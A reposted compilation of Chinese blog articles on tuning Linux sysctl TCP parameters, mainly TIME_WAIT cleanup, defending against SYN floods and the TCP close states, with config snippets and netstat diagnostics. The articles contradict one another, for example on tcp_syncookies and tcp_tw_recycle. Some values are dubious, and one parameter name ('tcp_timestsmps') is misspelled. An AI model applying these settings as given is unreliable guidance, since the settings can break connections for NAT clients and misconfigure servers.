1. 程式人生 > >linux核心引數sysctl.conf,TCP握手ack,洪水攻擊syn,超時關閉wait;(轉)

linux核心引數sysctl.conf,TCP握手ack,洪水攻擊syn,超時關閉wait;(轉)

http://www.xshell.net/linux/Linux_sysctl_conf.html

優化Linux核心sysctl.conf引數來提高伺服器併發處理能力

PS:在伺服器硬體資源額定有限的情況下,最大的壓榨伺服器的效能,提高伺服器的併發處理能力,是很多運維技術人員思考的問題。要提高Linux系統下的負載能力,可以使用nginx等原生併發處理能力就很強的web伺服器,如果使用Apache的可以啟用其Worker模式,來提高其併發處理能力。除此之外,在考慮節省成本的情況下,可以修改Linux的核心相關TCP引數,來最大的提高伺服器效能。當然,最基礎的提高負載問題,還是升級伺服器硬體了,這是最根本的。

Linux系統下,TCP連線斷開後,會以TIME_WAIT狀態保留一定的時間,然後才會釋放埠。當併發請求過多的時候,就會產生大量的TIME_WAIT狀態的連線,無法及時斷開的話,會佔用大量的埠資源和伺服器資源。這個時候我們可以優化TCP的核心引數,來及時將TIME_WAIT狀態的埠清理掉。

本文介紹的方法只對擁有大量TIME_WAIT狀態的連線導致系統資源消耗有效,如果不是這種情況下,效果可能不明顯。可以使用netstat命令去查TIME_WAIT狀態的連線狀態,輸入下面的組合命令,檢視當前TCP連線的狀態和對應的連線數量: #netstat -n | awk ‘/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}’ 這個命令會輸出類似下面的結果: LAST_ACK 16 SYN_RECV 348 ESTABLISHED 70 FIN_WAIT1 229 FIN_WAIT2 30 CLOSING 33 TIME_WAIT 18098 我們只用關心TIME_WAIT的個數,在這裡可以看到,有18000多個TIME_WAIT,這樣就佔用了18000多個埠。要知道埠的數量只有65535個,佔用一個少一個,會嚴重的影響到後繼的新連線。這種情況下,我們就有必要調整下Linux的TCP核心引數,讓系統更快的釋放TIME_WAIT連線。 用vim開啟配置檔案:#vim /etc/sysctl.conf

在這個檔案中,加入下面的幾行內容: net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_tw_reuse = 1 net.ipv4.tcp_tw_recycle = 1 net.ipv4.tcp_fin_timeout = 30

輸入下面的命令,讓核心引數生效:#sysctl -p

簡單的說明上面的引數的含義:

net.ipv4.tcp_syncookies = 1 #表示開啟SYN Cookies。當出現SYN等待佇列溢位時,啟用cookies來處理,可防範少量SYN攻擊,預設為0,表示關閉; net.ipv4.tcp_tw_reuse = 1 #表示開啟重用。允許將TIME-WAIT sockets重新用於新的TCP連線,預設為0,表示關閉; net.ipv4.tcp_tw_recycle = 1 #表示開啟TCP連線中TIME-WAIT sockets的快速回收,預設為0,表示關閉; net.ipv4.tcp_fin_timeout #修改系統預設的 TIMEOUT 時間。

在經過這樣的調整之後,除了會進一步提升伺服器的負載能力之外,還能夠防禦小流量程度的DoS、CC和SYN攻擊。

此外,如果你的連線數本身就很多,我們可以再優化一下TCP的可使用埠範圍,進一步提升伺服器的併發能力。依然是往上面的引數檔案中,加入下面這些配置: net.ipv4.tcp_keepalive_time = 1200 net.ipv4.ip_local_port_range = 10000 65000 net.ipv4.tcp_max_syn_backlog = 8192 net.ipv4.tcp_max_tw_buckets = 5000 #這幾個引數,建議只在流量非常大的伺服器上開啟,會有顯著的效果。一般的流量小的伺服器上,沒有必要去設定這幾個引數。

net.ipv4.tcp_keepalive_time = 1200 #表示當keepalive起用的時候,TCP傳送keepalive訊息的頻度。預設是2小時,改為20分鐘。 net.ipv4.ip_local_port_range = 10000 65000 #表示用於向外連線的埠範圍。預設情況下很小:32768到61000,改為10000到65000。(注意:這裡不要將最低值設的太低,否則可能會佔用掉正常的埠!) net.ipv4.tcp_max_syn_backlog = 8192 #表示SYN佇列的長度,預設為1024,加大佇列長度為8192,可以容納更多等待連線的網路連線數。 net.ipv4.tcp_max_tw_buckets = 6000 #表示系統同時保持TIME_WAIT的最大數量,如果超過這個數字,TIME_WAIT將立刻被清除並列印警告資訊。默 認為180000,改為6000。對於Apache、Nginx等伺服器,上幾行的引數可以很好地減少TIME_WAIT套接字數量,但是對於Squid,效果卻不大。此項引數可以控制TIME_WAIT的最大數量,避免Squid伺服器被大量的TIME_WAIT拖死。

核心其他TCP引數說明: net.ipv4.tcp_max_syn_backlog = 65536 #記錄的那些尚未收到客戶端確認資訊的連線請求的最大值。對於有128M記憶體的系統而言,預設值是1024,小記憶體的系統則是128。 net.core.netdev_max_backlog = 32768 #每個網路介面接收資料包的速率比核心處理這些包的速率快時,允許送到佇列的資料包的最大數目。 net.core.somaxconn = 32768 #web應用中listen函式的backlog預設會給我們核心引數的net.core.somaxconn限制到128,而nginx定義的NGX_LISTEN_BACKLOG預設為511,所以有必要調整這個值。

net.core.wmem_default = 8388608 net.core.rmem_default = 8388608 net.core.rmem_max = 16777216           #最大socket讀buffer,可參考的優化值:873200 net.core.wmem_max = 16777216           #最大socket寫buffer,可參考的優化值:873200 net.ipv4.tcp_timestsmps = 0 #時間戳可以避免序列號的卷繞。一個1Gbps的鏈路肯定會遇到以前用過的序列號。時間戳能夠讓核心接受這種“異常”的資料包。這裡需要將其關掉。 net.ipv4.tcp_synack_retries = 2 #為了開啟對端的連線,核心需要傳送一個SYN並附帶一個迴應前面一個SYN的ACK。也就是所謂三次握手中的第二次握手。這個設定決定了核心放棄連線之前傳送SYN+ACK包的數量。 net.ipv4.tcp_syn_retries = 2 #在核心放棄建立連線之前傳送SYN包的數量。 #net.ipv4.tcp_tw_len = 1 net.ipv4.tcp_tw_reuse = 1 # 開啟重用。允許將TIME-WAIT sockets重新用於新的TCP連線。

net.ipv4.tcp_wmem = 8192 436600 873200 # TCP寫buffer,可參考的優化值: 8192 436600 873200 net.ipv4.tcp_rmem  = 32768 436600 873200 # TCP讀buffer,可參考的優化值: 32768 436600 873200 net.ipv4.tcp_mem = 94500000 91500000 92700000 # 同樣有3個值,意思是: net.ipv4.tcp_mem[0]:低於此值,TCP沒有記憶體壓力。 net.ipv4.tcp_mem[1]:在此值下,進入記憶體壓力階段。 net.ipv4.tcp_mem[2]:高於此值,TCP拒絕分配socket。 上述記憶體單位是頁,而不是位元組。可參考的優化值是:786432 1048576 1572864

net.ipv4.tcp_max_orphans = 3276800 #系統中最多有多少個TCP套接字不被關聯到任何一個使用者檔案控制代碼上。 如果超過這個數字,連線將即刻被複位並打印出警告資訊。 這個限制僅僅是為了防止簡單的DoS攻擊,不能過分依靠它或者人為地減小這個值, 更應該增加這個值(如果增加了記憶體之後)。 net.ipv4.tcp_fin_timeout = 30 #如果套接字由本端要求關閉,這個引數決定了它保持在FIN-WAIT-2狀態的時間。對端可以出錯並永遠不關閉連線,甚至意外當機。預設值是60秒。2.2 核心的通常值是180秒,你可以按這個設定,但要記住的是,即使你的機器是一個輕載的WEB伺服器,也有因為大量的死套接字而記憶體溢位的風險,FIN- WAIT-2的危險性比FIN-WAIT-1要小,因為它最多隻能吃掉1.5K記憶體,但是它們的生存期長些。

經過這樣的優化配置之後,你的伺服器的TCP併發處理能力會顯著提高。以上配置僅供參考,用於生產環境請根據自己的實際情況。

http://tech.uc.cn/?p=1790

​1. SYN Flood介紹

前段時間網站被攻擊多次,其中最猛烈的就是TCP洪水攻擊,即SYN Flood。

SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分散式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,傳送大量偽造的TCP連線請求,常用假冒的IP或IP號段發來海量的請求連線的第一個握手包(SYN包),被攻擊伺服器迴應第二個握手包(SYN+ACK包),因為對方是假冒IP,對方永遠收不到包且不會迴應第三個握手包。導致被攻擊伺服器保持大量SYN_RECV狀態的“半連線”,並且會重試預設5次迴應第二個握手包,塞滿TCP等待連線佇列,資源耗盡(CPU滿負荷或記憶體不足),讓正常的業務請求連線不進來。

詳細的原理,網上有很多介紹,應對辦法也很多,但大部分沒什麼效果,這裡介紹我們是如何診斷和應對的。

2. 診斷

我們看到業務曲線大跌時,檢查機器和DNS,發現只是對外的web機響應慢、CPU負載高、ssh登陸慢甚至有些機器登陸不上,檢查系統syslog:

# tail -f /var/log/messages Apr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies.

檢查連線數增多,並且SYN_RECV 連線特別多: # netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'  TIME_WAIT 16855 CLOSE_WAIT 21 SYN_SENT 99 FIN_WAIT1 229 FIN_WAIT2 113 ESTABLISHED 8358SYN_RECV 48965 CLOSING 3 LAST_ACK 313

根據經驗,正常時檢查連線數如下: # netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'  TIME_WAIT 42349 CLOSE_WAIT 1 SYN_SENT 4 FIN_WAIT1 298 FIN_WAIT2 33 ESTABLISHED 12775SYN_RECV 259 CLOSING 6 LAST_ACK 432

以上就是TCP洪水攻擊的兩大特徵。執行netstat -na>指定檔案,保留罪證。

3. 應急處理

根據netstat檢視到的對方IP特徵: # netstat -na |grep SYN_RECV|more

利用iptables臨時封掉最大嫌疑攻擊的IP或IP號段,例如對方假冒173.*.*.*號段來攻擊,短期禁用173.*.*.*這個大號段(要確認小心不要封掉自己的本地IP了!) # iptables -A INPUT -s  173.0.0.0/8  -p tcp  –dport 80 -j DROP

再分析剛才保留的罪證,分析業務,用iptables解封正常173.*.*.*號段內正常的ip和子網段。這樣應急處理很容易誤傷,甚至可能因為封錯了導致ssh登陸不了伺服器,並不是理想方式。

4. 使用F5擋攻擊

應急處理畢竟太被動,因為本機房的F5比較空閒,運維利用F5來擋攻擊,採用方式:讓客戶端先和F5三次握手,連線建立之後F5才轉發到後端業務伺服器。後來被攻擊時F5上看到的現象: 1. 連線數比平時多了500萬,攻擊停止後恢復。 2. 修改F5上我們業務的VS模式後,F5的CPU消耗比平時多7%,攻擊停止後恢復。 3. 用F5擋效果明顯,後來因攻擊無效後,使用者很少來攻擊了,畢竟攻擊也是有成本的。

5. 調整系統引數擋攻擊

沒有F5這種高階且昂貴的裝置怎麼辦?我測試過以下引數組合能明顯減小影響,準備以後不用F5抗攻擊。

第一個引數tcp_synack_retries = 0是關鍵,表示迴應第二個握手包(SYN+ACK包)給客戶端IP後,如果收不到第三次握手包(ACK包)後,不進行重試,加快回收“半連線”,不要耗光資源。

不修改這個引數,模擬攻擊,10秒後被攻擊的80埠即無法服務,機器難以ssh登入; 用命令netstat -na |grep SYN_RECV檢測“半連線”hold住180秒;

修改這個引數為0,再模擬攻擊,持續10分鐘後被攻擊的80埠都可以服務,響應稍慢些而已,只是ssh有時也登入不上;檢測“半連線”只hold住3秒即釋放掉。

修改這個引數為0的副作用:網路狀況很差時,如果對方沒收到第二個握手包,可能連線伺服器失敗,但對於一般網站,使用者重新整理一次頁面即可。這些可以在高峰期或網路狀況不好時tcpdump抓包驗證下。

根據以前的抓包經驗,這種情況很少,但為了保險起見,可以只在被tcp洪水攻擊時臨時啟用這個引數。

tcp_synack_retries預設為5,表示重發5次,每次等待30~40秒,即“半連線”預設hold住大約180秒。詳細解釋:

The tcp_synack_retries setting tells the kernel how many times to retransmit the SYN,ACK reply to an SYN request. In other words, this tells the system how many times to try to establish a passive TCP connection that was started by another host. This variable takes an integer value, but should under no circumstances be larger than 255 for the same reasons as for the tcp_syn_retries variable. Each retransmission will take aproximately 30-40 seconds. The default value of the tcp_synack_retries variable is 5, and hence the default timeout of passive TCP connections is aproximately 180 seconds.

之所以可以把tcp_synack_retries改為0,因為客戶端還有tcp_syn_retries引數,預設是5,即使伺服器端沒有重發SYN+ACK包,客戶端也會重發SYN握手包。詳細解釋:

The tcp_syn_retries variable tells the kernel how many times to try to retransmit the initial SYN packet for an active TCP connection attempt. This variable takes an integer value, but should not be set higher than 255 since each retransmission will consume huge amounts of time as well as some amounts of bandwidth. Each connection retransmission takes aproximately 30-40 seconds. The default setting is 5, which would lead to an aproximate of 180 seconds delay before the connection times out.

第二個引數net.ipv4.tcp_max_syn_backlog = 200000也重要,具體多少數值受限於記憶體。

以下配置,第一段引數是最重要的,第二段引數是輔助的,其餘引數是其他作用的: # vi /etc/sysctl.conf

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

#最關鍵引數,預設為5,修改為0 表示不要重發

net.ipv4.tcp_synack_retries = 0

#半連線佇列長度

net.ipv4.tcp_max_syn_backlog = 200000

#系統允許的檔案控制代碼的最大數目,因為連線需要佔用檔案控制代碼

fs.file-max = 819200

#用來應對突發的大併發connect 請求

net.core.somaxconn = 65536

#最大的TCP 資料接收緩衝(位元組)

net.core.rmem_max = 1024123000

#最大的TCP 資料傳送緩衝(位元組)

net.core.wmem_max = 16777216

#網路裝置接收資料包的速率比核心處理這些包的速率快時,允許送到佇列的資料包的最大數目

net.core.netdev_max_backlog = 165536

#本機主動連線其他機器時的埠分配範圍

net.ipv4.ip_local_port_range = 10000 65535

# ……省略其它……

使配置生效: # sysctl -p

注意,以下引數面對外網時,不要開啟。因為副作用很明顯,具體原因請google,如果已開啟請顯式改為0,然後執行sysctl -p關閉。因為經過試驗,大量TIME_WAIT狀態的連線對系統沒太大影響:

1

2

3

4

5

6

7

8

#當出現 半連線 佇列溢位時向對方傳送syncookies,調大 半連線 佇列後沒必要

net.ipv4.tcp_syncookies = 0

#TIME_WAIT狀態的連線重用功能

net.ipv4.tcp_tw_reuse = 0

#時間戳選項,與前面net.ipv4.tcp_tw_reuse引數配合

net.ipv4.tcp_timestamps = 0

#TIME_WAIT狀態的連接回收功能

net.ipv4.tcp_tw_recycle = 0

為了處理大量連線,還需改大另一個引數: # vi /etc/security/limits.conf 

在底下新增一行表示允許每個使用者都最大可開啟409600個檔案控制代碼(包括連線): *                –       nofile          409600

6. 參考資料

檔案控制代碼不要超過系統限制/usr/include/linux/fs.h,相關連結: ​http://blog.yufeng.info/archives/1380 #define NR_OPEN (1024*1024)     /* Absolute upper limit on fd num */

7. 結束語

TCP洪水攻擊還沒完美解決方案,希望本文對您有所幫助,讓您快速瞭解。

http://www.guoweiwei.com/archives/728

核心的優化跟伺服器的優化一樣,應本著穩定安全的原則。下面以64位的Centos5.5下的Squid伺服器為例來說明,待客戶端與伺服器端建立TCP/IP連線後就會關閉SOCKET,伺服器端連線的埠狀態也就變為TIME_WAIT了。那是不是所有執行主動關閉的SOCKET都會進入TIME_WAIT狀態呢?有沒有什麼情況使主動關閉的SOCKET直接進入CLOSED狀態呢?答案是主動關閉的一方在傳送最後一個ACK後就會進入TIME_WAIT狀態,並停留2MSL(Max Segment LifeTime)時間,這個是TCP/IP必不可少的,也就是“解決”不了的。

  TCP/IP的設計者如此設計,主要原因有兩個:

  防止上一次連線中的包迷路後重新出現,影響新的連線(經過2MSL時間後,上一次連線中所有重複的包都會消失)。

  為了可靠地關閉TCP連線。主動關閉方傳送的最後一個ACK(FIN)有可能會丟失,如果丟失,被動方會重新發FIN,這時如果主動方處於CLOSED狀態,就會響應RST而不是ACK。所以主動方要處於TIME_WAIT狀態,而不能是CLOSED狀態。另外,TIME_WAIT並不會佔用很大的資源,除非受到攻擊。

  在Squid伺服器中可輸入檢視當前連線統計數的命令,如下所示:

1

2

3

4

5

6

7

8

#netstat -n| awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 

LAST_ACK 14 

SYN_RECV 348 

ESTABLISHED 70 

FIN_WAIT1 229 

FIN_WAIT2 30 

CLOSING 33 

TIME_WAIT 18122

01

02

03

04

05

06

07

08

09

10

CLOSED:無連線是活動的或正在進行中的。

LISTEN:伺服器在等待進入呼叫。

SYN_RECV:一個連線請求已經到達,等待確認。

SYN_SENT:應用已經開始,開啟一個連線。

ESTABLISHED:正常資料傳輸狀態。

FIN_WAIT1:應用說它已經完成。

FIN_WAIT2:另一邊已同意釋放。

CLOSING:兩邊同時嘗試關閉。

TIME_WAIT:另一邊已初始化一個釋放。

LAST_ACK:等待所有分組死掉。

  也就是說,這條命令可以把當前系統的網路連線狀態分類彙總。

  在Linux下高併發的Squid伺服器中,TCP TIME_WAIT套接字數量經常可達兩三萬,伺服器很容易就會被拖死。不過,我們可以通過修改Linux核心引數來減少Squid伺服器的TIME_WAIT套接字數量,命令如下所示:  

1

#vim /etc/sysctl.conf

  然後, 增加以下引數:

1

2

3

4

5

6

7

8

9

#適用於Squid伺服器

net.ipv4.tcp_fin_timeout = 30

net.ipv4.tcp_keepalive_time = 1200

net.ipv4.tcp_syncookies = 1

net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_tw_recycle = 1

net.ipv4.ip_local_port_range = 1024 65000 

net.ipv4.tcp_max_syn_backlog = 8192

net.ipv4.tcp_max_tw_buckets = 5000

    其中各引數含義如下:

1

2

3

4

5

6

7

8

net.ipv4.tcp_syncookies=1表示開啟SYN Cookies。當出現SYN等待佇列溢位時,啟用cookie來處理,可防範少量的SYN攻擊。預設為0,表示關閉。

net.ipv4.tcp_tw_reuse=1表示開啟重用。允許將TIME-WAIT套接字重新用於新的TCP連線。預設為0,表示關閉。

net.ipv4.tcp_tw_recycle=1表示開啟TCP連線中TIME-WAIT套接字的快速回收。預設為0,表示關閉。

net.ipv4.tcp_fin_timeout=30表示如果套接字由本端要求關閉,這個引數決定了它保持在FIN-WAIT-2狀態的時間。

net.ipv4.tcp_keepalive_time=1200表示當keepalive啟用時,TCP傳送keepalive訊息的頻度。預設是2小時,這裡改為20分鐘。

net.ipv4.ip_local_port_range=1024 65000表示向外連線的埠範圍。預設值很小:32768~61000,改為1024~65000。

net.ipv4.tcp_max_syn_backlog=8192表示SYN佇列的長度,預設為1024,加大佇列長度為8192,可以容納更多等待連線的網路連線數。

net.ipv4.tcp_max_tw_buckets=5000表示系統同時保持TIME_WAIT套接字的最大數量,如果超過這個數 字,TIME_WAIT套接字將立刻被清除並列印警告資訊。預設為180000,改為5000。對於Apache、Nginx等伺服器,前面介紹的幾個參 數已經可以很好地減少TIME_WAIT套接字數量,但是對於Squid來說,效果卻不大。有了此引數就可以控制TIME_WAIT套接字的最大數量,避 免Squid伺服器被大量的TIME_WAIT套接字拖死。

  執行以下命令使核心配置立即生效:

1

#/sbin/sysctl -p

如果是用於Apache或Nginx等的Web伺服器,或Nginx的反向代理,則只需要更改以下幾項即可:

1

2

3

4

5

#適用於Apache或Nginx等web伺服器,或Nginx的反向代理

net.ipv4.tcp_syncookies = 1

net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_tw_recycle = 1

net.ipv4.ip_local_port_range = 1024 65000

如果是郵件伺服器,則建議核心方案如下:

1

2

3

4

5

6

7

#適用於郵件伺服器

net.ipv4.tcp_fin_timeout = 30

net.ipv4.tcp_keepalive_time = 300

net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_tw_recycle = 1

net.ipv4.ip_local_port_range = 5000 65000

kernel.shmmax = 134217728

最後記得,執行sysctl -p命令市核心配置生效:

1

#/sbin/sysctl -p

附:本文摘自《構建高可用Linux伺服器》一書第1版63頁,部分文字有調整。

http://www.linuxde.net/2013/05/13600.html

我們這裡應用的是CentOS5.3,並核心使用的是2.6.18-128.el5PAE #1 SMP 。修改部分TCP ,有的是為了提高效能與負載,但是存在降低穩定性的風險。有的則是安全方面的配置,則有可能犧牲了效能。

1.TCP keepalive TCP連線保鮮設定

echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time
echo 15 > /proc/sys/net/ipv4/tcp_keepalive_intvl
echo 5 > /proc/sys/net/ipv4/tcp_keepalive_probes

keepalive是TCP保鮮定時器。當網路兩端建立了TCP連線之後,閒置idle(雙方沒有任何資料流傳送往來)了tcp_keepalive_time後,伺服器核心就會嘗試向客戶端傳送偵測包,來判斷TCP連線狀況(有可能客戶端崩潰、強制關閉了應用、主機不可達等等)。如果沒有收到對方的回答(ack包),則會在tcp_keepalive_intvl後再次嘗試傳送偵測包,直到收到對對方的ack,如果一直沒有收到對方的ack,一共會嘗試tcp_keepalive_probes次,每次的間隔時間在這裡分別是15s, 30s, 45s, 60s, 75s。如果嘗試tcp_keepalive_probes,依然沒有收到對方的ack包,則會丟棄該TCP連線。

2. syn cookies設定

echo 0 > /proc/sys/net/ipv4/tcp_syncookies

在CentOS5.3中,該選項預設值是1,即啟用syn cookies功能。我們建議先關閉,直到確定受到syn flood攻擊的時候再開啟syn cookies功能,有效地防止syn flood攻擊。也可以通過iptables規則拒絕syn flood攻擊。

3.TCP  連線建立設定

echo 8192 > /proc/sys/net/ipv4/tcp_max_syn_backlog
echo 2 > /proc/sys/net/ipv4/tcp_syn_retries
echo 2 > /proc/sys/net/ipv4/tcp_synack_retries

tcp_max_syn_backlog  SYN佇列的長度,時常稱之為未建立連線佇列。系統核心維護著這樣的一個佇列,用於容納狀態為SYN_RESC的TCP連線(half-open connection),即那些依然尚未得到客戶端確認(ack)的TCP連線請求。加大該值,可以容納更多的等待連線的網路連線數。

tcp_syn_retries  新建TCP連線請求,需要傳送一個SYN包,該值決定核心需要嘗試傳送多少次syn連線請求才決定放棄建立連線。預設值是5. 對於高負責且通訊良好的物理網路而言,調整為2

tcp_synack_retries  對於遠端SYN連線請求,核心會發送SYN+ACK資料包來確認收到了上一個SYN連線請求包,然後等待遠端的確認(ack資料包)。該值則指定了核心會向遠端傳送tcp_synack_retires次SYN+ACK資料包。預設設定值是5,可以調整為2

4. TCP 連線斷開相關設定

echo 30 >  /proc/sys/net/ipv4/tcp_fin_timeout
echo 15000 > /proc/sys/net/ipv4/tcp_max_tw_buckets
echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse
echo 1 >  /proc/sys/net/ipv4/tcp_tw_recycle

tcp_fin_timeout 對於由本端主動斷開連線的TCP連線,本端會主動傳送一個FIN資料報,在收到遠端ACK後,且並沒有收到遠端FIN包之前,該TCP連線的狀態是FIN_WAIT_2狀態,此時當遠端關閉了應用,網路不可達(拔網張),程式不可斷僵死等等,本端會一直保留狀態為FIN_WAIT_2狀態的TCP連線,該值tcp_fin_timeout則指定了狀態為FIN_WAIT_2的TCP連線儲存多長時間,一個FIN_WAIT_2的TCP連線最多佔1.5k記憶體。系統預設值是60秒,可以將此值調整為30秒,甚至10秒。

tcp_max_tw_buckets 系統同時處理TIME_WAIT sockets數目。如果一旦TIME_WAIT tcp連線數超過了這個數目,系統會強制清除並且顯示警告訊息。設立該限制,主要是防止那些簡單的DoS攻擊,加大該值有可能消耗更多的記憶體資源。如果TIME_WAIT socket過多,則有可能耗盡記憶體資源。預設值是18w,可以將此值設定為5000~30000 tcp_tw_resue 是否可以使用TIME_WAIT tcp連線用於建立新的tcp連線。

tcp_tw_recycle 是否開啟快帶回收TIME_WAIT tcp連線的功能。

5. tcp 記憶體資源使用相引數設定

echo 16777216 > /proc/sys/net/core/rmem_max
echo 16777216 > /proc/sys/net/core/wmem_max
cat /proc/sys/net/ipv4/tcp_mem
echo “4096 65536 16777216″ > /proc/sys/net/ipv4/tcp_rmem
echo “4096 87380 16777216″ > /proc/sys/net/ipv4/tcp_wmem

rmem_max 定義了接收視窗可以使用的最大值,可以根據BDP值進行調節。 wmem_max 定義了傳送視窗可以使用的最大值,可以根據BDP什值進行調整。 tcp_mem [low, pressure, high] TCP用這三個值來跟蹤記憶體使用情況,來限定資源佔用。通常情況下,在系統boot之時,核心會根據可用記憶體總數計算出這些值。如果出現了Out of socket memory,則可以試著修改這個引數。 1)low: 當TCP使用了低於該值的記憶體頁面數時,TCP不會考濾釋放記憶體。 2)pressure: 當TCP使用了超過該值的記憶體頁面數量,TCP試圖穩定其對記憶體的佔用,進入pressure模式,直到記憶體消耗達於low值,退出該模式。 3)hight:允許所有tcp sockets用於排隊緩衝資料報的記憶體頁數。 tcp_rmem [min, default, max] 1)min 為每個TCP連線(tcp socket)預留用於接收緩衝的記憶體數量,即使在記憶體出現緊張情況下TCP socket都至少會有這麼多數量的記憶體用於接收緩衝。 2)default 為TCP socket預留用於接收緩衝的記憶體數量,預設情況下該值影響其它協議使用的 rmem_default的值,所以有可能被rmem_default覆蓋。 3)max 該值為每個tcp連線(tcp socket)用於接收緩衝的記憶體最大值。該值不會影響wmem_max的值,設定了選項引數 SO_SNDBUF則不受該值影響。 tcp_wmem [min, default, max] 如上(tcp_rmen)只不過用於傳送快取。

注: 1)可以通過sysctl -w 或者寫入/etc/sysctl.conf永久儲存 2)效能調優僅在於需要的時候進行調整,調整以後需要採集資料與基準測試資料進行比較。建議,不需要盲從地調整這些引數。

http://cpjsjxy.iteye.com/blog/2090386

主動發起關閉TCP連結端狀態轉換圖  上圖是tcp連線主動關閉端的狀態轉換圖:  (1)應用層呼叫close函式發起關閉連線請求  (2)傳送FIN到對端,關閉寫通道,自己進入FIN_WAIT1狀態  (3)等待對端的確認ACK到來,接受到ACK後進入FIN_WAIT2狀態;如果在超時時間內沒有收到確認ACK直接進入CLOSED狀態  (4)如果在FIN_WAIT1狀態時收到了對端的FIN則進入CLOSING狀態(雙發都發出了關閉連線請求)  (5)在FIN_WAIT2接受到了對端FIN後進入TIME_WAIT狀態;如果在超時時間內沒有收這個FIN則直接進入CLOSED狀態  (6)在TIME_WAIT狀態等待2個MSL(2個報文最長存活週期)後進入CLOSED狀態 被動關閉TCP連結端狀態轉換圖  上圖是tcp連線被動關閉方的狀態轉換圖  (1)收到對端FIN後,關閉讀通道進入CLOSE_WAIT狀態  (2)在CLOSE_WAIT狀態等待應用層呼叫close函式關閉連線  (3)如果在超時時間內呼叫了close,則進入LAST_ACK狀態;否則直接進入CLOSED狀態  (4)在LAST_ACK狀態,傳送FIN到對端並等待對端的確認ACK  (5)如果在超時時間內收到了確認ACK則進入CLOSED狀態,否則直接進入CLOSED狀態 狀態分析 FIN_WAIT1  主動方呼叫close函式關閉連線後立刻進入FIN_WAIT1狀態,此時只要收到對端確認ACK後馬上會進入FIN_WAIT2狀態。  出現場景:主動方等待ACK過程中網路斷掉了,導致長時間收不到ACK,主動方就會停留在CLOSE_WAIT1狀態上(超時時間:一般預設60s超時)。此時我們可以使用netstat -anpt 命令看到這種狀態。這個狀態在實際的工作中很少見。 FIN_WAIT2  主動端在等待對端FIN到來過程中,會一你直保持這個狀態(超時時間:一般預設是60s)。由於網路中斷,或者對端很忙還沒來得及傳送FIN、或者對端有bug忘記關閉連線等都會導致主動端長時間處於FIN_WAIT2狀態。如果主動方發現大量FIN_WAIT2狀態時,應該引起相關人員的注意,這可能是網路不穩、對端程式bug的表現。這個狀態比較常見。 TIME_WAIT  主動方收到對端的FIN後進入TIME_WAIT狀態。然後傳送最後一個確認ACK到對端。之後等待2個最大的報文存活週期,正常的關閉流程客戶端TCP連線都會經過這個狀態,最終進入CLOSED狀態。所以我們使用netstat -anpt命令發現客戶端有很多的TIME_WAIT,一般這是正常的現象。這個狀態最常見。 CLOSING  雙發幾乎同時都呼叫了close介面主動關閉連線,此時都進入了FIN_WAIT1狀態。如果在FIN_WAIT1狀態期望收到對方的ACK但卻收到了對方的FIN,這時候雙方都進入CLOSING狀態。然後都給對方一個ACK確認,收到了ACK後就會進入CLOSED狀態了。 CLOSE_WAIT  這個狀態表明TCP連線等待被關閉。只可能在被動方出現。如果被動方存在大量的CLOSE_WAIT狀態需要因為我們的特別注意了。我們要仔細研究確認為什麼被動方遲遲不願關閉連線(或許是我們程式中的bug開啟了連線,用完後卻忘記關閉)  目前開發過程中遇到如下這個場景導致被動方有很多的CLOSE_WAIT狀態:  A是一個應用程式,B是一個tomcat伺服器  A開了一個連線Conn,傳送請求給B  A接受相應資料後沒有呼叫Conn.close關閉連線,在A端垃圾回收這些Conn物件前,這些連線一直保持著  B端的連線超時後會主動發起關閉連線請求給A,此時A進入了CLOSE_WAIT狀態,B進入了FIN_WAIT2狀態,由於A遲遲不傳送FIN給B,B端觸發timeout直接進入了CLOSED狀態。  這樣一個場景B端由於有超時設定一個為60s,不會存在大量的FIN_WAIT2狀態  但是A端就會殘留大量的CLOSE_WAIT狀態(CLOSE_WAIT狀態也有超時,但是太大,預設為43200s,詳情見tcp_timeout_close_wait系統配置)。還好A端的java虛擬機器的最大對記憶體配置較小,由於CLOSE_WAIT狀態連線同樣佔用了記憶體資源,數量很多後就會觸發垃圾回收,此時A端的CLOSE_WAIT的連線Conn物件就會被銷燬了(同時記憶體和控制代碼、埠等資源也被釋放了) LAST_ACK  當被動端呼叫close介面關閉連線後便會進入這個狀態,同時傳送一個FIN給對端。在接受對端的ACK確認後便會進入CLOSED狀態,這個狀態一般不易出現,除非網路中斷,一般對端會很快給與響應的。這個狀態只可能在被動端出現。 狀態總結  主動端可能出現的狀態:FIN_WAIT1、FIN_WAIT2、CLOSING、TIME_WAIT  被動端可能出現的狀態:CLOSE_WAIT LAST_ACK NOTE:  (1)主動端出現大量的FIN_WAIT1時需要注意網路是否暢通、出現大量的FIN_WAIT2需要仔細檢查程式為何遲遲收不到對端的FIN(可能是主動方或者被動方的bug)、出現大量的TIME_WAIT需要注意系統的併發量/socket控制代碼資源/記憶體使用/埠號資源等。  (2)被動端出現大量的 CLOSE_WAIT 需要仔細檢查為何自己遲遲不願呼叫close關閉連線(可能是bug,socket開啟用完沒有關閉) 

http://soarwilldo.blog.51cto.com/5520138/1337535

當連線數多時,經常出現大量FIN_WAIT1,可以修改 /etc/sysctl.conf

修改

net.ipv4.tcp_fin_timeout = 10 net.ipv4.tcp_keepalive_time = 30 net.ipv4.tcp_window_scaling = 0 net.ipv4.tcp_sack = 0

然後:

/sbin/sysctl -p

使之生效

#######################################################################################

apache伺服器的time_wait過多 fin_wait1過多等問題

1。time_wait狀態過多。

   通常表現為apache伺服器負載高,w命令顯示load average可能上百,但是web服務基本沒有問題。同時ssh能夠登陸,但是反應非常遲鈍。

